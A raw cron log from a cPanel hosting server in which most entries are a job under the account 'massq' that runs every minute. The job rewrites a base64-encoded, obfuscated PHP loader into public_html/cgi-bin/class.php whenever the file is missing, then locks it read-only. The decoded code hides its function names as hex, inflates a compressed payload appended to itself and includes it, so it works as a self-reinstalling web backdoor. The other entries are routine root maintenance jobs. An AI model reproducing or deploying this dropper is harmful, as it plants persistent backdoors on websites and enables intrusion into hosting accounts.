Nov 11 10:05:01 server CROND[30229]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 10:05:01 server CROND[30230]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 10:05:01 server CROND[30231]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 10:06:01 server CROND[31100]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 10:07:02 server CROND[32089]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 10:08:01 server CROND[528]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 10:09:01 server CROND[1320]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 11 10:09:01 server CROND[1321]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 10:10:02 server CROND[2002]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 10:10:02 server CROND[2001]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 10:10:02 server CROND[2003]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 10:10:02 server CROND[2000]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 10:11:01 server CROND[2883]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 10:12:01 server CROND[3683]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 10:12:01 server CROND[3684]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 10:13:01 server CROND[4588]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 10:14:01 server CROND[5410]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 10:15:01 server CROND[6231]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 10:15:01 server CROND[6232]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 10:15:01 server CROND[6233]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 11 10:15:01 server CROND[6234]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 10:16:01 server CROND[7112]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 10:17:01 server CROND[7949]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
